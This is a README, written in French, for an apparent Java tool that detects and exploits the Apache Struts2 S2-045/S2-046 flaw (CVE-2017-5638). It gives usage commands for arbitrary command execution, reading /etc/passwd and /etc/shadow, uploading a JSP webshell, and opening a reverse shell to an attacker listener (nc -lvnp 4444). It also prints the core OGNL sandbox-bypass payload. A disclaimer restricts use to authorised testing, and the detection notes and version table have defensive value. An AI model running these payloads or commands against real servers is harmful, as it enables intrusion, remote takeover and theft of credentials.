
Struts2 S2-045/S2-046 CVE-2017-5638 outil de détection et d'exploitation
Un outil de détection et d'exploitation des vulnérabilités Struts2 S2-045 / S2-046 (CVE-2017-5638) implémenté purement en Java. Le module de détection couvre les deux vulnérabilités S2-045 / S2-046, le module d'exploitation offre l'exécution de commandes, la gestion de fichiers, la collecte d'informations, un Shell interactif, un Shell inversé, le téléversement de Webshell, etc.
Avertissement : Cet outil est destiné uniquement aux tests de sécurité autorisés, à la recherche sur les vulnérabilités et à des fins pédagogiques. Toute utilisation illégale non autorisée est strictement interdite ; l'utilisateur assume seul l'entière responsabilité légale.
| Module | Sous-commande | Description |
|---|
| Détection de vulnérabilités | scan | Détecte S2-045 / S2-046 (validation mathématique + marquage par empreinte UUID) |
| Analyse par lot | batch | Détecte plusieurs cibles en masse, génère un rapport récapitulatif et JSON |
| Exécution de commandes | exec | Exécution de commandes système arbitraires + affichage du résultat (adaptation automatique Win/Linux) |
| Shell interactif | shell | Interaction continue, persistance du répertoire cd, commandes intégrées pwd/webroot/os |
| Téléversement de fichiers | upload | Écriture directe OGNL (petits fichiers) / écriture par commandes segmentées (gros fichiers) |
| Téléchargement de fichiers | download | Téléchargement encodé en Base64 (sûr pour les binaires) |
| Racine Web | getpath | Obtient le chemin de déploiement physique de l'application Web |
| Informations système | sysinfo | Informations OS / utilisateur / noyau / répertoire de travail |
| Shell inversé | revshell | Shell inversé bash / PowerShell en une commande |
| Téléversement Webshell | webshell | Génère et téléverse un Webshell JSP (style ?CMD= en clair) |
| Export de rapport | scan -r | Rapport JSON / HTML |
La fonction de téléchargement peut lire n'importe quel fichier du serveur (ex.
/etc/shadow), utilisez-la uniquement dans le cadre de tests autorisés.
:: À exécuter dans le répertoire du projet
.\build.bat
Dans PowerShell, le préfixe
.\est requis ; dans cmd,build.batsuffit. build.bat ne fait que compiler, il n'envoie aucune requête réseau et n'effectue aucune analyse. Une fois la compilation terminée, la fenêtre reste ouverte et entre dans une session cmd (vous pouvez exécuter directement les commandes de l'outil, tapezexitpour fermer). Si votre environnement ne peut pas écrire dans le dépôt Maven par défaut, définissez d'abord la variable d'environnementM2_REPOvers un répertoire accessible en écriture.
Résultat : target\s2tool.jar (fat-jar).
Pour Linux/Mac, reportez-vous à
build.sh
# 1. Détection de vulnérabilités
java -jar s2tool.jar scan http://target/action
# 2. Détection + export du rapport JSON/HTML
java -jar s2tool.jar scan http://target/action -r both
# 3. Exécution de commandes
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. Shell interactif
java -jar s2tool.jar shell http://target/action
# 5. Obtention de la racine Web / informations système
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. Téléversement / téléchargement de fichiers
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. Téléversement de Webshell en une commande (style ?CMD= en clair)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Accès : http://target/shell.jsp?CMD=whoami
# 8. Shell inversé (la machine d'attaque écoute d'abord : nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. Analyse par lot
java -jar s2tool.jar batch targets.txt -r json
# Les lignes de commentaire commencent par # (ignorées automatiquement)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
Plages de versions officielles annoncées (les deux vulnérabilités sont basées sur les annonces officielles d'Apache, pour vous aider à évaluer si la cible est affectée) :
| Vulnérabilité | CVE | Versions affectées (versions vulnérables) | Versions corrigées (versions patchées) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 ou 2.5.10.1 et ultérieures |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 ou 2.5.10.1 et ultérieures |
Cet outil ne repose pas sur le jugement de version, il détermine directement la présence de la vulnérabilité via les résultats de sondage des Payloads, car l'identification de version n'est pas fiable (de nombreux sites masquent leur numéro de version). Le tableau ci-dessus est fourni uniquement pour votre évaluation manuelle, il n'affecte pas la logique de détection de l'outil.
Pour S2-046, l'outil prend en charge à la fois l'injection d'octet nul dans le filename et le chemin de détection Content-Type (même cause racine).
Principe de la vulnérabilité :
Content-Type ; S2-046 : le filename de Content-Disposition) est concaténé dans le message d'erreur,
et ce message d'erreur est évalué par OGNL via le processus de traitement des textes internationalisés de Struts2 (TextParseUtil.translateVariables)(#nike='multipart/form-data') // Falsifie le Content-Type, passe le contrôle contains
(#[email protected]@DEFAULT_MEMBER_ACCESS) // Obtient le MemberAccess avec les privilèges les plus élevés
(#_memberAccess?(#_memberAccess=#dm): // Versions anciennes : remplacement direct
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // Vide la liste noire des noms de packages
(#ognlUtil.getExcludedClasses().clear()) // Vide la liste noire des classes
(#context.setMemberAccess(#dm)))) // Versions récentes : remplacement après vidage des listes noires
Testé en conditions réelles : sur Struts2 2.3.30, la version simplifiée (uniquement
setMemberAccess) ne permet pas de contourner la sandbox, la version complète (avec le chemin de vidage des listes noires via OgnlUtil) est obligatoire.
| Technique | Principe | Description |
|---|---|---|
| Validation mathématique | OGNL exécute 88888888-23333+1222, la réponse contient 88866777 → vulnérable | Formule POC publique |
| Marquage par empreinte UUID | Injection d'un UUID aléatoire et affichage dans le corps de la réponse | Haute précision, insensible à la latence réseau |
| Détection par délai | Écart temporel Thread.sleep(6000) (uniquement en secours sans affichage pour S2-045) | Seuil >3,6s |
Règle de jugement : validation mathématique ou marquage par empreinte, l'un des deux confirmé → vulnérabilité confirmée ; uniquement le délai confirmé → vulnérabilité suspectée ; aucun résultat → non vulnérable.
struts2-vuln-tool/
├── pom.xml # Compilation Maven (packaging fat-jar avec shade)
├── build.bat / build.sh # Scripts de compilation (Windows vérifié / Linux de référence)
├── src/main/java/com/s2tool/
│ ├── Launcher.java # Point d'entrée principal (CLI Picocli)
│ ├── core/ # Moteur central : client HTTP / construction des Payloads / analyse des réponses / analyse des cibles
│ ├── plugins/ # Architecture des plugins de vulnérabilités (points d'extension)
│ │ └── impl/ # Plugins de détection S2_045 / S2_046
│ ├── modules/ # Modules fonctionnels : orchestration de détection / identification d'empreintes / exécution de commandes / gestion de fichiers / Shell, etc.
│ ├── report/ # Génération de rapports (console / JSON / HTML)
│ └── utils/ # Outils de journalisation
├── src/main/resources/ # Configuration de journalisation / références de Payloads
└── src/test/ # Tests unitaires JUnit
Articles sur le principe des vulnérabilités et les techniques :
Projets open source de référence (les idées et Payloads des dépôts suivants ont été consultés lors du développement de ce projet) :
Réservé aux tests de sécurité autorisés et à la recherche pédagogique.
Toute utilisation illégale non autorisée est strictement interdite ; l'utilisateur assume seul l'entière responsabilité légale.